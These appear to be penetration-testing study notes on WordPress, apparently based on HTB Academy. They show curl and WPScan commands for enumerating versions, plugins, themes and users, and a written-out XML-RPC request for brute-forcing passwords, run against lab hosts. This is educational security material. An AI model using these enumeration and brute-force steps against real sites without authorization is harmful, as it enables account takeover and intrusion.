Wordpress Hacking

General

Default WordPress Structure

tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php
  • index.php : homepage
  • wp-activate.php : used for email and website activation
  • wp-admin : folder containing multiple backend/dashboard sites
  • xmlrpc.php : XML API (soon-ish deprecated because of the new REST API)
  • wp-config.php : contains info like db name and credentials and other configs for wordpress

    Wordpress User Roles

Role Description
Administrator This user has access to administrative features within the website. This includes adding and deleting users and posts, as well as editing source code.
Editor An editor can publish and manage posts, including the posts of other users.
Author Authors can publish and manage their own posts.
Contributor These users can write and manage their own posts but cannot publish them.
Subscriber These are normal users who can browse posts and edit their profiles.

source: HTB Academy

Enumeration

Core Version Enumeration

Via source code in html-head:

<meta name="generator" content="WordPress 5.3.3" />

or as bash command:

curl -s -X GET https://<wordpress-page> | grep '<meta name="generator"'

Sometimes the version can be in the CSS files that are linked:

<link rel='stylesheet' id='bootstrap-css'  href='<url>/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex-style-css'  href='<url>/wp-content/themes/ben_theme/style.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex_color-css'  href='<url>/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='smartmenus-css'  href='<url>/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3' type='text/css' media='all' />

Or in the JavaScript files that are linked into the index page/homepage

Plugins and Themes Enumeration

Plugins

curl -s -X GET <url> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

Themes

curl -s -X GET <url> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

Tools

Tools like ffuf and/or WPScan can help here - you could fuzz the content/plugin dir.

Directory Indexing

Active plugins should not be our only area of focus when assessing a WordPress website. Even if a plugin is deactivated, it may still be accessible, and therefore we can gain access to its associated scripts and functions. Deactivating a vulnerable plugin does not improve the WordPress site's security. It is best practice to either remove or keep up-to-date any unused plugins.

Listing directory and getting a nice output:

curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text

Result:

****** Index of /wp-content/plugins/mail-masta ******
[[ICO]]       Name                 Last_modified    Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory                         -  
[[DIR]]       amazon_api/          2020-05-13 18:01    -  
[[DIR]]       inc/                 2020-05-13 18:01    -  
[[DIR]]       lib/                 2020-05-13 18:01    -  
[[   ]]       plugin-interface.php 2020-05-13 18:01  88K  
[[TXT]]       readme.txt           2020-05-13 18:01 2.2K  
===========================================================================
     Apache/2.4.29 (Ubuntu) Server at blog.inlanefreight.com Port 80

Find the listing with wp-scan:

wpscan --url http://157.245.33.77:30116

User Enumeration

Manual Wordpress User Enumeration

Method 1: Check Blog Metadata

Screenshot of Wordpress Website highlighting the author name

Or try it with the id like so:

curl -s -I http://blog.inlanefreight.com/?author=1

HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:47:08 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Redirect-By: WordPress
Location: http://blog.inlanefreight.com/index.php/author/admin/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

301 means user exists, if user doesn't exist Wordpress will result 404 Not Found Error.

Method 2: Check JSON Endpoint (REST-API)

curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq

[
  {
    "id": 1,
    "name": "admin",
    "url": "",
    "description": "",
    "link": "http://blog.inlanefreight.com/index.php/author/admin/",
    <SNIP>
  },
  {
    "id": 2,
    "name": "ch4p",
    "url": "",
    "description": "",
    "link": "http://blog.inlanefreight.com/index.php/author/ch4p/",
    <SNIP>
  },
<SNIP>

Login Enumeration (XMLRPC)

After having found valid users, we can try to mount a password brute-force attack via xmlrpc.php

Post to Brute-Force

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://blog.inlanefreight.com/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>Inlanefreight</string></value></member>
  <member><name>xmlrpc</name><value><string>http://blog.inlanefreight.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

If the creds are wrong, the endpoint will return an 403 Error.

WPScan

Using WPScan

Installation

gem install wpscan

Scanning for vulns

Get Token from  WPVulnDB, which is used by WPScan to scan for vulnerability and exploit proof of concepts (POC) and reports.

The free plan allows up to 25 requests per day.

create an account and copy the API token from the users page. This token can then be supplied to WPScan using the --api-token parameter.

WPScan Enumeration

Use --enumerate flag to enumerate various components. ie. "ALL PLUGINS" can be enumerated using the arguments --enumerate ap.

Basic Scan:

wpscan --url http://my.target.com --enumerate --api-token Abbgdtr34562<SNIP>